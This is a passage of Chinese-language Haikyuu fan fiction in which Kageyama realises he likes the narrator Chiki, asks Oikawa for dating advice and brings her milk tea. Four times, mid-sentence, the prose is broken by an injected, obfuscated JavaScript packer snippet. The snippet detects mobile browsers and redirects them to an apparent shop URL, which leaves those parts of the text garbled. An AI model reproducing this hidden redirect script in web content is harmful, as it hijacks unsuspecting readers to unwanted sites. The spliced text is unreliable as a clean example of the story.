他喜欢吃加温泉蛋的猪肉咖喱饭,虽然对影山来说,吃什么没有那么重要,但是如果吃的东西是这个,他会更高兴一点。 但是喜欢干什么、喜欢吃什么,和喜欢一个人,即便是像他这样粗线条的人,也知道这背后的含义是完全不一样的啊! 影山扭过头,悄悄地看了一眼月岛。那家伙正在和千树说话,不知道说到了什么,惹了千树高兴,她用文件夹遮住半张脸,弯着眼睛笑了起来。 影山郁闷地将目光重新挪回面前,不可能,去问月岛什么是喜欢,绝对不可能。 一想到月岛喜欢千树,影山就觉得浑身不自在,恨不得要一头扎进体育场,疯跑几圈才有可能会感到舒坦。 开天辟地以来头一次,连打排球都不足以驱散笼罩在影山心头的烦闷,好在晚训结束,今天又没有补习,影山能早早回家,一个人发呆。 影山拨通了美羽的电话。 他其实和姐姐的关系算不上亲密,甚至和美羽保持着一种“相敬如宾”一般的亲人关系,逢年过节能想起来的时候问一声好,虽然会关注彼此的生活,但也仅此而已,鲜少问候,也鲜少关心。 但是影山也不知道自己还能打给谁。 “喂?”美羽的声音从另一头响起。 她正在研究一个新发型,手上的假发在她手底下露出一抹张扬的颜色,影山的电话打来的不太是时候,她只好一边举着头发和刷子,一边用肩膀和头夹住电话。 影山却不知道自己又该说些什么。 美羽不耐烦地放下手里的工具,看了一眼来电显示,确认是自己弟弟,耐着性子又问了一遍:“什么事?” 影山张了张嘴,又想把那话给咽回去,这么来回一打架,他不小心狠狠地咬了一口自己的舌头,疼得他眼里立刻就泛起了眼泪,小声地“唔”了一声。 美羽没听清楚,皱着眉头追问:“什么?” 影山手忙脚乱地挂了电话。 美羽这一通电话被挂得莫名其妙,要不是手上正在忙,她高低要打电话回去问候一下自己这个傻弟弟,突然搭错了哪根筋,在这里和她玩这个无声电话的游戏。 影山磨蹭了一下,又躺在床上开始发呆。 美羽从高中开始就已经有了男朋友,或许是影山询问这个问题的最好人选,但是影山拨通电话的那一瞬间,却觉得自己实在说不出口,好像那句话说出来,就会有什么事情永久改变似的。 月岛喜欢千树,千树以前喜欢他,但是现在已经不喜欢了。 那千树现在喜欢谁呢? 他又喜欢谁呢? 影山的心脏咚咚咚地狂跳起来,像是刚刚打完一场五局三胜的排球赛,剧烈得他有些不习惯,连忙往下咽了口水,生怕心脏下一秒就从喉头跳出来了。 “喜欢”这两个字像是魔音绕耳,时时刻刻在影山耳边来回播放,并且已经和千树绑定,影山一想到这个词,脑海里就无可救药地浮现起千树的身影。 千树的笑容,千树的眼睛,她在运动后微微冒着汗的鼻梁,还有高兴时候弯起的嘴角…… 影山猛地惊醒,面红耳赤地在房间里绕了一圈,去洗手间掬了把凉水冲了冲脸,一边忍不住责怪自己,自己一个人偷偷想千树,一个女孩子,是多么没有礼貌的事情! 他企图把千树的身影从自己的脑海里挥去,可这就像水面的倒影,就算伸手搅得支离破碎,却还是在平静之后慢慢变得清晰:千树教他们学习时,佯装生气微微蹙起的眉头;还有他们赢了比赛之后,因为兴奋而变得通红的耳垂…… 以及那次影山和千树回家,他坐在排球馆门口等千树,千树眼里倒映着的无比绚烂的晚霞。 “喂?”手上的手机忽然响起那个身影主人的声音,影山再熟悉不过的、又清澈好听的声音。 什么时候拨出的电话?! 影山像是做错事被大人抓住的小孩,差点把手里的手机给丢了出去,手忙脚乱地接住,又不小心按了挂断键。 糟糕,自己大晚上的突然打过去,一句话不说就挂断电话,会被千树觉得很没礼貌的吧? 在影山反应过来以前,他已经把刚才不小心挂掉的电话按了回拨。 没救了。 影山悲哀地望着天花板。 “喂,影山君?”电话那头的女生还是好脾气地接起了电话,声音带了点黏黏糊糊的味道,但是没有一点不耐烦,“是打错了吗?” 影山连忙应声:“嗯……不是……嗯。” 对面的女生笑了起来:“到底是不是?” 影山语塞,他也不知道自己为什么会莫名其妙打通千树的电话,等他从自己的想象中回过神来,千树都已经接通电话了。 但是他又隐约觉得,自己的潜意识里,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037391|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是想要和千树打这通电话的。 他坐到床上,将人缩进被子里,千树的声音又响了起来,比刚才清明了一些:“是有什么事吗?” 影山小声地说了一句没有,又怕她就这样挂断了电话,小声问道:“刚刚千树是……已经睡了吗?” 电话那头的千树打了个哈欠:“嗯,已经睡了,不过没关系。” 自己的电话把她从睡梦里吵醒了,影山懊恼地挠了挠头:“对不起……” “没事啦,是不是要考试了,心里压力有点大?”千树善解人意地问。 明明不是,影山从来不太在意考试的成绩,所以这辈子都没有因为要考试了睡不着觉过。 但是如果他说不是的话,这通电话就会到此为止吧? 影山的私心悄悄作祟,撒了谎:“嗯……” “我就知道,”对面的声音染上了一点笑意,“不过不用紧张,影山君最近的小测成绩都还不错,国语不少词的解释都背得很清楚了,英语语法清楚了不少,数学题也都会做了。” 千树将他最近的进步一条一条数出来,对他的水平了解得仿佛是自己的卷子一样:“总之,只要保持现在的状态,考试不会有太多问题的,不用担心啦!” 千树应该是躺在床上接的电话,虽然比刚被电话叫醒时清醒了些,但说话还带着点被困意勾出来的懒懒的尾音,影山把电话贴着耳朵,就好像千树就趴在他耳朵边上和他说话似的。 他被自己的这个想法惊得满脸通红,却又不敢也舍不得把手机给拿远,只好任由那样懒懒的声音顺着耳朵上丰富的神经一点一点往心里爬,爬得他浑身上下都痒痒的。 影山根本没有听清千树在说什么,只在千树说话的间隙胡乱地点着头,发出几声“嗯嗯”,证明自己还在听。 “紧张主要还是因为对自己没有底啦,影山君打排球的时候从来都不紧张对不对?因为影山君水平很高,训练又很刻苦,对比赛总是很有信心。” “考试也是一样的,影山君要相信,自己已经做了充足的准备了,有这个自信,就什么都不怕了!” 少女的声音还是染上了浓浓的倦意,在电话的那一侧打了一个大大的哈欠,影山连忙道:“你困了吗?” “有一点,”千树的声音听起来困意更浓了,“影山君还紧张吗?” 即便自己困得眼睛都睁不开了,还能关心他是不是真的因为紧张而睡不着觉。 自己那抹私心在此刻受到了强烈的谴责,影山心里生出浓浓的愧疚,不忍心再多说什么,小声地和千树道别:“不紧张了,千树早点休息吧,晚安,明天见。” “嗯,明天见。”电话那边的人似乎困极了,在电话挂断以前声音就小了下去,大概在电话挂断的那一瞬间就陷入了熟睡。 千树睡觉的时候会是什么样的呢?影山捏着还没熄灭的手机,不由自主地想。 他怒吼一声,无可奈何地把自己砸进枕头里。 完蛋了。 他该不会是个变态吧。 31.喜欢 “变态”影山谴责了一晚上自己的良心,直到天亮才迷迷糊糊睡去,第二天早上顶着一双熊猫一般的黑眼圈来到排球部,连发球的动作都显得有点力不从心。 菅原孝支和泽村大地的信息还没有更新到这个最新版本,毕竟影山和李千树的关系起承转合了好几遭,他俩还停留在李千树刚进排球部的“疑似对影山有意”这个阶段,没想明白影山是闹了什么脾气,脸和球说不清到底哪个更臭。 日向叽叽喳喳和影山吵了一顿,指责对方今日的托球比以往任何时候都要不顺手,影山和他吵了几句嘴,却没有真的发火,哼唧了几句思绪就转到别的地方了。 这回连日向都发现他无精打采了,纳闷地问:“影山怎么了?是因为今天没赢过我气馁了?” 气馁一词千树刚教过,也难为日向就能这么文绉绉地用了出来。他瞥了日向一眼,只觉得看他也莫名来气,别过脑袋:“没什么。” 谁知他脑袋别过去后,正好能看见月岛正在和千树说些什么,千树昨天晚上被他扰了清梦,也没休息好,这会儿打了个哈欠,冲着月岛不好意思地笑了笑。 影山蓦然想起昨天自己脑海中浮现的千树身影,又急急地把脑袋转了回来,和日向探究的眼光对了个正着。 “干……干干什么?”影山因为心虚,一句简单的质问让他说得干巴巴的,且底气尤为不足。 日向若有所思地看他一眼,又顺着他刚才的视线看向了千树,突然一副恍然大悟的样子:“哦——” 他声音太大,惹得周围人全都往这边看,影山手忙脚乱地捂住了日向的嘴:“别乱说话!我没有!别胡说!” 日向好容易才从他手上挣脱出来,眨了眨眼迷惑地问:“胡说什么啊!我还什么都没有说啊!” 影山嘴唇碰了碰,又觉得说什么都欲盖弥彰,日向倒是没理他,凑上来神秘兮兮地说:“据我观察,月岛最近和千树桑走得很近诶!” 影山不满地斜了日向一眼,心想早看出来了还用你说。 “你说月岛是不是喜欢千树桑啊?”日向又补充。 影山简直懒得听日向这一嘴过时的新闻播报,心里格外不爽地拍着手里的球,也不知道那在地上砸变形的到底是排球还是月岛的脑袋,就又听见日向说:“谷地桑和我说,千树桑的几个好朋友,都很喜欢月岛呢!” 影山手里的球歪了点力,冲着一边直直飞了出去,没弹回影山手里。 “都很喜欢月岛?” “对啊!”日向信誓旦旦地说道,“谷地桑亲口和我说的,那还能有假?她和千树可是好朋友诶!” “虽然月岛这家伙看起来惹人厌了一点,但是确实要承认他个子高,长得也帅……当然比起我还是要差上那么一点点的。”日向忍辱负重地夸了月岛一嘴,还不忘记给自己脸上也贴点金,“而且听说他最近对千树特别好,经常给千树送这送那的,对千树和她的朋友们也很照顾。” “喜欢他不是很正常的事吗!”日向一锤定音。 又是喜欢,影山心想。 在前十六年里,“喜欢”这个词一直安安静静地躺在影山的词典里,他不解其意,也没有想过要对它追根究底,却在最近一次又一次地在他边上放下炸弹。 究竟什么是喜欢? 以少年十余年匮乏的人世浮沉经验,以及几乎可以为0的社交历程,他想不出答案。 如果照日向说的,月岛对千树这么好,那么之后的千树会喜欢上月岛吗? 影山忽然不愿意继续想下去。 他只好把刚才被自己打飞的球捡回来,徒劳地一次又一次砸向墙面,发泄着自己毫无来由的坏情绪。 ------ “影山君最近是不是状态不对?”我看着明显魂不守舍的影山,皱着眉和月岛商量,“昨天晚上还和我打电话说睡不着。” “他和你打电话?他说睡不着?”月岛君像是被这句话给震惊了,“没心没肺的人怎么会睡不着?” 说罢,他似乎是意有所指:“有心事的人才睡不着。” “是呢,”我忧心忡忡地和月岛君分享,“他昨天晚上说他要考试了压力太大,怎么也睡不着。” 月岛:“……” 他看着我的表情似乎写着“这个单细胞如果会因为考试而睡不着我就把这个排球给吃下去”,但他最终还是没说,反而冷笑了一声:“他哪里是状态不好,我看他是状态很好。” 我不知道月岛在说什么,安静地等着他的下文。 结果拽男开始给我打哑谜:“我看他是快想通了。” 几句话说得驴唇不对马嘴的,我啥也听不懂,皱着眉还想要他解释,他却垫着球走到一边,接着训练去了。 莫名其妙,我撇了撇嘴。 仁花在排球部体验了一段时间,部内事务上手了不少,但最主要的还是拉着她给日向补了不少习。正式入部没多久,正经活没干上,反而先从这附加的事务干起,我不免对仁花觉得有些抱歉。 不过她倒是不在意,很是乐在其中,在排球部里和大家相处时,话也多了不少。 连正式入部都少不了日向在其中推波助澜,给了仁花临门一脚的勇气,两人关系攀升的很快,没多久就聊得热火朝天的。 另外,期末考试,终归是在我们或期待、或害怕的心情中,到来了。 我拿到国语试卷的时候就在心里暗叫不好,这次考试的题型和以往有点不同,影山花了大功夫背的词语解释,这次不过考了寥寥几个,反倒是他不擅长的阅读理解占了大头。 “影山君觉得这次考试怎么样,难吗?”我考完试就抓紧时间去找影山,我可没忘记他要是这次考试过不了就没有办法去东京远征合宿。 影山君原本还信誓旦旦地和我说“还好”,结果目光和我相交的那一瞬就底气不足地蔫了下去。 完了。 我在心里默默地抹了一把泪。 隔壁的日向也对自己的成绩很有信心,安慰着比他还担心他的成绩的仁花说绝对没问题。 然后成绩出来后,两人双双不及格。 影山不出我所料地败在了国语,而日向因为答题卡抄串行扣了一大片分。 仁花当场嚎啕大受打击,我差点就给她上呼吸机送去医院抢救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049472|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 还好排球部靠谱的前辈田中学长站了出来,给影山和日向指了一道明路,让两人参加补考之后再赶来东京。 日向挠挠头,问我:“千树桑,补考考什么啊?我不会补考还不过吧?” 我看着他诚恳地道:“不好意思,人也是有短板的,从来没有补考过,这种事情我真的帮不了你。” 影山犹犹豫豫地走到我面前,看起来是想和我道歉,但是眼睛七拐八拐就是不往我身上瞟,大概自己都觉得我费心劳力给他补习他还没有考过这件事丢人得有些离谱了。 在他张嘴以前,我率先制止了他:“不用道歉了,你之后再努力些就好,我不在意的。” 他的表情很纠结,好像想说的不是这个,但是嗫嚅半晌,到底还是没有说出别的内容来。 我朝他友好地笑了笑,打开了暑假的计划本。 远征合宿的事情自然要早早和其他几个高校的经理们安排,但是在合宿之外,我也还有别的要做的事,下个学期开学没多久各个学科的竞赛就要开始了,我要提前做好暑假的学习规划。 真是充实的暑假啊! ------ 影山今天晚上也睡不着。 他已经连着好几日都没睡好觉了,一闭眼满脑子都是李千树的样子,他越来越觉得自己大概是个变态,甚至在学校看见千树的时候看着看着都会满脸通红。 这可不行啊,没听说过谁做朋友做到这个地步的。 不过影山这几日都把手机锁在了柜子里,以免自己再做出回过神来电话已经打给了千树这种不理智的事情。 这到底是怎么一回事? 影山在床上翻来覆去睡不着,最终还是把锁着的抽屉打开,拨通了美羽的电话。 “你最好是有什么事。”美羽的声音裹着浓浓的睡意和怒气从电话那头传过来,她可还没忘记前些日子飞雄给她打了个电话以后啥事没有就挂掉的事情。 要是今天飞雄还一句话不说就挂掉电话,她非得回家揍他一顿不可。 影山被她的声音吓得噤了声,半晌才支支吾吾地说:“……我好像是变态。” “哈?”美羽的怒火被这没头没尾的一句话浇得又涨了三分,“睡傻了?” “没……还没睡呢,睡不着。”影山小声说。 “你还能睡不着,稀奇。”美羽揉了揉眉心,知道这一时半会儿是睡不去了,把枕头摆了摆,找了个舒服的姿势,闭着眼睛问,“你怎么就是变态了?” 影山郁结,这么丢人的话他都不好意思说出口。 美羽在电话的那一头等得几乎不耐烦了,才听见影山结结巴巴地说:“排球队里有一个女生……” 美羽睁开眼,又看了一眼来电显示,确认这是自己的傻弟弟没错。 她都懒得听影山后面絮絮叨叨的来龙去脉:“恋爱了?” “啊?没没没没……就……就是……” “嗯,恋爱了。” 影山呆呆地拿着电话,心里那点窗户纸被人捅破,顿觉眼前一片明朗起来。 原来他不是变态,他只是喜欢千树而已。 32.恋爱教学 美羽等了半天对面的答复,结果除了呼吸声什么也没有。 按照她对自己弟弟的了解,那个笨蛋估计现在正在宕机,主机重启还不知道要到什么时候。 她困得不行了,连亲弟弟的八卦都没有心思吃,放下手机就一头栽倒进了枕头里快乐地会周公。 至于陷入恋爱烦恼的弟弟? 有些苦是要当事人自己吃的。 这边影山沉默了不知有多久,绕了地球一圈的脑回路终于成功对接,然后又“嘭”的一声炸掉了。他果然没在想起来之前他还在和美羽打电话,无声地把自己熟透的脑袋埋进被子里,裹了几层。 然后因为憋得喘不过气徒劳地扯着头上的被子,快窒息了才呼吸到新鲜空气。 人心情好的时候,只是这样简单的新鲜空气也让人觉得愉快。他精力过剩地绕床转了一圈,捡起床边的排球垫了几下,直到看见隔壁大半夜莫名其妙亮起了灯才赶紧停了下来。 果然,那家等了一会儿没听见声音,就又把灯关掉睡觉了。 影山松了一口气,没敢再接着打球,倒是想出门去跑一圈,但是考虑到明天还有早训,于是还是规规矩矩地在床上躺好,打算劝自己好好睡觉,脸上的笑容却怎么也褪不下去。 他喜欢千树,月岛也喜欢千树,他和月岛就是情敌……田中前辈西谷前辈和日向都说过,他们班里有好多男生都对千树很有好感,他必须要再有点危机感才行。 不过,他肯定不会输给任何人的! 影山想着想着,又想得脸颊通红,在床上滚了半圈,把刻在脸上的嘴角藏到连月亮也看不到的地方,这才后知后觉地想起来一件事情。 “虽然我现在已经不喜欢影山君了……” 千树的话历历在目。 等下! 她不喜欢他了! 影山脸上的笑容戛然而止。 这天晚上,影山做了个梦。 他梦见他拿了春高的冠军,喜滋滋地捧着奖杯去找千树,千树这个时候已经是他的女朋友,看见他手里的奖杯却没有露出半分高兴的表情。 “怎么了千树?你看,我拿到冠军了诶!”影山兴奋地冲着千树摇晃着奖杯。 千树冷笑一声:“脑子里只有排球的白痴,谁要做你女朋友,我们分手吧!” 他还没来得及抓住千树的衣角,就眼睁睁看着她和月岛牵手站在了一起。 混蛋月岛得意的嘴脸和漫画里的反派有些重合:“哎呀,王者就是王者,是不可能迎娶公主的!” 然后千树的追随者站在月岛的身后,他们幸福地簇拥在千树身边,讽刺地看着他:“猜猜是谁不能和千树在一起?是你!只知道打排球的笨蛋!” “不!”影山悲愤地大喊,却被千树的追随者无情地踢开,叽里咕噜滚下台阶。 “咚”一声,影山从床上滚到地上,醒了。 好消息,千树还没有成为月岛的女朋友。 坏消息,千树也还不是他的女朋友。 影山飞雄,一个脑子里只有排球的笨蛋,在出生十多年来,第一次坐在地板上,开始思考一个他以前从来没有纳入过知识范围的问题。 到底应该怎么追喜欢的女生? ------ 期末考试考完排球部也还是要训练,天气热,我做了点清凉的绿豆汤,留出表哥和小樱姐他们的份以后,我把剩下的包好,准备带到排球馆去。 奇怪,小樱姐和知世姐两个女生明明吃的不多,表哥虽然是个男生,但是食量也就是正常水平,为什么每次做甜品零食的时候,他们都能吃掉那么多东西呢? 我看了面前明显多于三个人分量的绿豆汤,还是短暂地把这个疑惑抛至脑后。 还没走到排球馆,就听见身后传来一声响亮的问好声:“千树早上好!” 我本来就抱着那一大桶绿豆汤看不清路,被这声问好吓得一激灵险些把手上的绿豆汤全撒了,好容易稳住身形,这才结结巴巴地转头看向声音的主人:“早上好,影山君。” “这是什么?”他看着我手里的东西好奇地问。 “是绿豆汤,解暑的。” 月岛君大概是听见了影山刚才那一声地动山摇的问好声,也从体育馆里走出来,换了鞋,十分自然地就把我手里的绿豆汤接了过去:“这么沉,你一路就自己抱过来了?” “哪里有你说得这么沉,好歹也在运动社团做这么久的经理了。”我一边笑着一边换鞋。 “下次给我发消息,我帮你去搬。”月岛君言简意赅道。 “哪里需要麻烦你。” 影山君不知道为什么瞪了月岛君一眼,立刻上前表忠心:“我也可以帮忙搬的,我家还离千树家近,下次千树叫我就好了!” 我没看懂他莫名其妙的殷勤是为了什么,半晌只好道:“……其实也不用……总之谢谢你们俩了。” 耳后传来风声,我头也不回地向体育馆里走去,慢悠悠地提醒:“要打架可以,要是把绿豆汤打翻了你们就完了。” 风声停了。 影山君率先一步追上来,和我并肩走,还结结巴巴地问:“千树……千树还能给我补习吗?” 月岛君跟上来,一把扣住他的肩:“之前千树给你花了那么多心思都没能通过考试,就别再想着麻烦千树给你补习了吧?” “混蛋月岛,关你什么事?” 眼看着两人又要吵起来,我只好捏了捏眉心制止住两人:“不要吵了。” “其实之前能教影山君的我已经都教了,知识点已经全部讲透了,重点在影山君自己消化,而不是再由我补习。” 影山君肉眼可见地蔫吧下去,月岛君则冲着影山君挑了挑眉。 为了不打击影山君的信心,我还是给他浇了点水:“不过如果遇到问题了,还是可以来找我的,我很乐意帮影山君解答。” 影山君的眼睛“倏地”一亮,月岛君冷哼一声。 我无奈地摇摇头,冲着体育馆里喊道:“来喝绿豆汤啦!” ------ 放学后的影山来到了书店。 月岛那家伙明显心怀不轨,期末考试都结束了还要坚持和千树一起回家,他自然也不能落下,看着千树和月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062415|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岛聊得那么投机,他就气得牙痒痒。 问题是恋爱这个话题实在太陌生了,比英语单词还要陌生,影山实在是没有相关的经验,网上搜索的结果又五花八门,他只好来书店碰碰运气。 走到书店门口的拐角的时候,他听见街口传来吵架的声音。 “整天就是排球排球排球,你除了排球还知不知道点别的啊!” “对不起嘛奈奈子,今天练球不小心练过头了,我保证下次再也不会了!” “还下次?我在这里等了你一个小时诶!说过很多次的吧?有约会的时候不要加练!又不是第一次了!” “奈奈子不要生气嘛!生气就不好看了!这样,及川大人去给奈奈子买杯奶茶,然后我们一起去看电影好不好?” “电影都开场半个小时了蠢蛋!分手吧!” 接着,那个街口走出来一个打扮精致但怒气冲冲的女孩,而跟在她后面追出来的,正是影山十分熟悉的身影。 “奈奈子——”及川追出来后,和影山撞了个正着。 大概是这样大型的被分手现场被影山撞见有点尴尬,及川瞬间调整了自己的状态,一只手叉腰,装出一副冷酷的样子问:“你怎么在这里?” 影山没回答他的话,转头看了一眼蹬着皮鞋越走越远的漂亮女生,没忍住问:“不去追女朋友吗,及川学长?” 他隐约记得昨天晚上他在网上搜索的时候,惹女朋友生气但是还不道歉这种事排在“十大禁忌”的第一位。 及川的眼神艰难地追了一下那个窈窕的身影,最终还是扬了扬头发不甘心道:“就算追回来我也不能保证同样的事情下次不会再犯,对她来说或许分手也好……” 注意到对面的影山流露出一点疑似可怜的眼神,及川立刻叉腰抬起下巴骄傲道:“……但是喜欢及川大人的女生很多,只要我想,什么样的女生我追不到手?” 及川说这话半真半假,但最主要还是为了在影山面前装一个吹破天的牛,不过他很快想起来对面这个小子是个比纯牛奶还纯粹的排球脑袋,带了点前辈的老气横秋摆了摆手:“唉,和你说你也不懂……” 谁知对面影山像是发现了新大陆,立刻鞠躬:“及川前辈,请教我如何追女孩子!” 及川:? “不要!”他下意识地拒绝了,影山成天找他学习发球托球技巧也就算了,怎么追女生也要跟他学? 他是什么?影山的教科书吗! “及川前辈!”影山的请求喊得震天响,“求求你了!” 这会儿本来就是人流量最大的时候,他这一声喊得响,周围的路人全都忍不住看了过来。及川连忙堵住影山的嘴:“好了好了!教你!不要喊了!” 影山这才闭上嘴,及川长舒一口气,忍不住好奇到底是哪个女生这么倒霉,被影山这种愣头青喜欢上。 谁知一说到这个,影山还扭捏起来,嗫嚅了半晌没说出口。 及川嫌弃地看了他一眼,心里又开始冒坏水:“我教你也可以,但是你必须按照我说的去做才行。” 影山:“没问题的!及川前辈!” 33.奶茶 “女生啊,最喜欢听甜言蜜语了。”及川一本正经地给影山示范,“你喜欢一个女生,就要不停地夸她,夸她好看,夸她聪明,哪怕昧着良心也得夸。” “可是她本来就又漂亮又聪明。”影山诚实地道。 及川:…… 他劝自己忍住火气,耐着性子继续给影山教学:“……除此之外呢,你还要投其所好,她喜欢什么,你就要做什么。” 影山皱起眉头:“她喜欢学习,但是我学习很差怎么办……” 及川:…… 他忍住吐槽的欲望继续给影山支招:“另外你要多花点时间陪伴她,让她享受和你在一起的时间……” “我经常和她在一起,”影山表情认真地点点头,随即又皱起眉,“及川学长刚才是不是就是因为没有陪女朋友所以被甩了?” 影山隐晦地看了一眼刚才女生离开的方向,及川终于炸毛:“你还学不学了!还有,我没有被甩!” “学的!”影山连忙摆出一副洗耳恭听的样子。 及川从鼻孔里重重出了口气,想到自己的坏主意又勾起了嘴角:“另外啊,女生很喜欢男生反驳她们,而且反驳的时候越霸道,她们越喜欢。” 影山明显迟疑了,他昨天在网上搜索的时候,网上好像不是这么说的。 及川怕再晚一点他就回过神了,连忙补充:“怎么,你不信我吗?那你走吧,别再问我了。” “不!我相信及川学长!”影山连忙站直身子,严肃说道。 “嗯,以后有问题再来问我。”及川彻高傲地抬了抬下巴,摆出一副教师的派头,目送着影山离开,“一定要记得,反驳的时候要凶一点啊!” 影山则没有再纠结建议的真实性,感激地冲着及川鞠了躬,这才一边走一边思考该如何实施这些建议。 及川一直维持着那个高傲的派头,确认影山已经消失在街角,再也看不见了才放下自己高傲的头颅,忙不迭掏出手机给奈奈子发消息,然后收获了红色感叹号。 他又给奈奈子打电话,拉黑。 他只好给岩泉一打了电话过去:“呜呜呜小岩,我被奈奈子讨厌了……” 对面男生的声音忍无可忍地传来:“我都说了今天你和奈奈子有约会,让你早点过去的吧!还非要打球,活该!” 说罢,岩泉也毫不留情地挂断电话。 “小岩!”他不满的尖叫也没能留住无情的岩泉一,还收获了来自路人疑惑的二次窥探。 他遮住脸,假装无事发生地研究墙上的海报,然后在心里阴暗地画圈圈。 哼!祝影山也追不到女朋友! ------ 【影山飞雄君】:千树,奶茶。 【影山飞雄君】:奶茶照片.jpg 我莫名其妙地退出了line,又点进去重新打开和影山君的聊天框,确认了这确实是影山君发的消息没错。 太阳打西边出来了,影山君居然喝奶茶? 我点开那张图片看了一眼,是商业街新开的那家奶茶店,我都还没来得及去喝过,之前和仁花千代与戈薇约好要一起去,但是因为戈薇又生病了没来学校,就一直拖着。 【千树】:好喝吗? 【千树】:小狗歪头.jpg 对面很快回复。 【影山飞雄君】:不知道,但是这家店人很多,应该好喝吧。 【千树】:诶?影山君还没喝吗? 【影山飞雄君】:我可以喝吗? 我简直莫名其妙,这说的是什么话? 【千树】:为什么不能喝? 【影山飞雄君】:给你买的奶茶,我先喝不好吧…… 我:? 还没等我反应过来,影山君的消息已经发来: 【影山飞雄君】:我在楼下,你方便下来吗? 什么情况? 我稀里糊涂地打开窗户,果然看见影山君站在楼下,手里提着一袋什么东西,听见声音,抬起头和我招了招手。 “稍等一下,我马上下来。”我冲着窗外喊道。 表哥和小樱姐出去了,不在家,倒是省了和他报备的功夫。身上的衣服虽然是居家的睡衣,但是穿了内衣,倒是不至于见不得人,我懒得再换衣服,揣上钥匙就出了门。 影山君看见我,略带兴奋地跑了两步到我跟前,把奶茶递到我手里:“给你。” 他见我接过奶茶,还结结巴巴地补充了一句:“你今天……今天很漂亮!” “谢……谢谢?”我迟疑地看了看自己身上的睡衣,最简朴可爱的卡通风,因为穿了好几年所以几乎洗变了形,连上面卡通图案都黯淡了不少,只是因为布料很舒服,在家穿也不用出去见人,所以一直没有换而已。 “我还蛮喜欢这件睡衣的。”我礼貌地回应。 “我也很喜欢!”影山君立刻跟了一句。 “你也有这套睡衣?”我疑惑地问道。 “我……我没有……在哪里买的?” “在网上……需要我把链接发给你吗?”我迟疑地问道。 这件衣服虽然是可爱风的,但确实不是只有女孩子能穿,是中性风的,男生女生都能穿,影山君会喜欢……额,也没有什么问题。 “请务必发给我!”影山君的表情很认真,在收到我发送的链接之后,还接着问我:“千树喜欢在网上买衣服吗?” “还……还行。”话题朝着一些奇怪的地方发展过去,我干巴巴地回道,“大部分时候还是去线下买,日本的网购没有中国那么方便……” “哦……”影山低下头,不过很快又抬头道,“那下次我和千树一起去买衣服吧!” 为什么啊?! 我只见过影山君的两件私服,“二传之魂”和“二传之道”,纯黑的T恤配上这几个大字,他明明是崇尚这种极简风格的,我平时的穿衣风格和他大相径庭吧?为什么要和我买衣服啊? 难道他最近想换风格? 我百思不得其解,但还是礼貌地答应了影山君。 “不过话说回来,为什么要给我买奶茶啊?”我摇了摇手里的奶茶,奶茶加了一点点冰,在夏夜里渗出细密的水珠,温度微微地刺激着我的手心。 “因为及川学长的女朋友……啊不对,前女友,说这家奶茶很好喝。”影山君说道。 “哎!及川学长和女朋友分手了?”我瞬间被八卦挑起了兴致。 影山点头:“嗯,好像因为及川学长一直在打球,忘了陪女朋友去约会了,所以奈奈子学姐和他分手了。” “嘶,难怪了,确实是及川学长能干出来的事呢。”我点点头,“要是我,我也会很生气,毕竟是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079325|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约定好的事情嘛。” “不过以后影山君谈恋爱应该也是这样吧?”我摸着下巴道,“因为影山君和及川学长一样,一打起排球来就什么都忘了呢!” “不会!”影山斩钉截铁地反驳,脸上的表情无比认真,甚至看着我有些错愕的神情,又坚决地补充了一句,“绝对不会!” 影山皱了皱眉,露出一点凶巴巴的表情,却在话说到一半时泄了气:“怎么可以……怎么可以这样想我……” 竟然还变得委屈巴巴的。 这两种情绪是可以互相转换的吗? “不……不会,嗯对,不会……”我尴尬地笑了笑,一时间都不知道该说什么,只好下意识地顺着他说,并且向他竖了一个大拇指:“不愧是影山君!” 他看起来很开心的样子。 真是不知道他今天是受什么刺激了。 我看了看手里的奶茶,又看了看面前似乎还不打算离开的影山:“这个奶茶你喝不喝?我回去拿个杯子,我们俩一人一半?” 我摇了摇那个奶茶杯,冰块在里面哗啦作响:“太晚啦,要是一整杯喝下去,晚上会睡不着的。” 